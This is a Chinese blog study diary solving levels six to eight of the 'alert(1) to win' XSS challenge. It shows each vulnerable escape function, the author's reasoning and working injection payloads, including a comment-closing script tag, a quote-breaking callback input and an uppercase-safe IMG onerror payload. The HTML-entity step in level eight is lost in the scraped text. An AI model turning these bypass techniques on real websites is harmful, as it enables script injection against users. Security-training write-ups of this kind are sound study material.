标签:wds gbk mfa lnp pcl add icc mis pmc
早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看。点击这里
忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁又能一开始就将所有的知识一下子就掌握的很熟练呢?
第六题。
题目:
1 function escape(s) { 2 // Slightly too lazy to make two input fields. 3 // Pass in something like "TextNode#foo" 4 var m = s.split(/#/); 5 6 // Only slightly contrived at this point. 7 var a = document.createElement(‘div‘); 8 a.appendChild(document[‘create‘+m[0]].apply(document, m.slice(1))); 9 return a.innerHTML; 10 }
分析:
这个escape的作用就是:将s按照#分割,然后创建div,将s分割成的数组的第二个开始挂接在div上。那么第8行的document[‘create‘+m[0]].apply(...)中的‘create‘+m[0]是document的一个函数,我查看了document的 官方文档
得知应该是createComment函数,所以可以开始TRY了。
TRY:
第一次:Comment#,结果显示<!---->,故后续应该闭合<括号。
第二次:Comment#><script>alert(1)</script>,OK!
效果:
第七题:
题目:
1 function escape(s) { 2 // Pass inn "callback#userdata" 3 var thing = s.split(/#/); 4 5 if (!/^[a-zA-Z\[\]‘]*$/.test(thing[0])) return ‘Invalid callback‘; 6 var obj = {‘userdata‘: thing[1] }; 7 var json = JSON.stringify(obj).replace(/</g, ‘\\u003c‘); 8 return "<script>" + thing[0] + "(" + json +")</script>"; 9 }
分析:
这题比较经典,函数的作用仍然是将s按照#分割成数组sarr,sarr[0]按照正则表达式要求只能是由a-zA-Z[]‘这些字符构成,而sarr[1]会将<替换成unicode编码的字符,所以不能输入</script>试图闭合第八行的<script>。
TRY:
第一次:sarr[0]和sarr[1]两者需要配合才能成功,突破的瓶颈是双引号会被转义,所以试图用双引号也失败了。
第二次:sarr[0]为 ‘ ,sarr[1]为 ‘;alert(1)//,最终为‘#‘;alert(1)//,单引号的配合将双引号的作用消匿于无形,这是我看别人的答案才知道了,哈哈!
效果:
第八题:
题目:
1 function escape(s) { 2 return ‘<script>console.log("‘ + s.toUpperCase() + ‘")</script>‘; 3 }
分析:
函数作用就是将输入全部大写,我只要输入大写不影响alert()的payload就OK!
TRY:
第一次:");</script><IMG ONERROR="alert(1)" SRC="A.GIF"><script>("
很容易闭合console.log()函数,而且</script>即使大写化并不影响运行,现在加入IMG标签,创建alert(1),但是alert大写后就无效了,所以使用html编码,即:alert为alert,因为它是字符串,在html中和alert是一样的含义,OK!
渲染:
<!DOCTYPE html> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <script type="text/javascript"> function escape(s) { return ‘<script>console.log("‘ + s.toUpperCase() + ‘")<\/script>‘; } var inputStr = ‘");</script><IMG ONERROR="alert(1)" SRC="A.GIF"><script>("‘; var ok = escape(inputStr); document.write(ok); </script> </body> </html>
效果:
备注:
坚持学习的第2天,倒计时:231天
睡觉去了!
【20171026早】alert(1) to win - 第六、七、八题
标签:wds gbk mfa lnp pcl add icc mis pmc
原文地址:http://www.cnblogs.com/heijuelou/p/7736377.html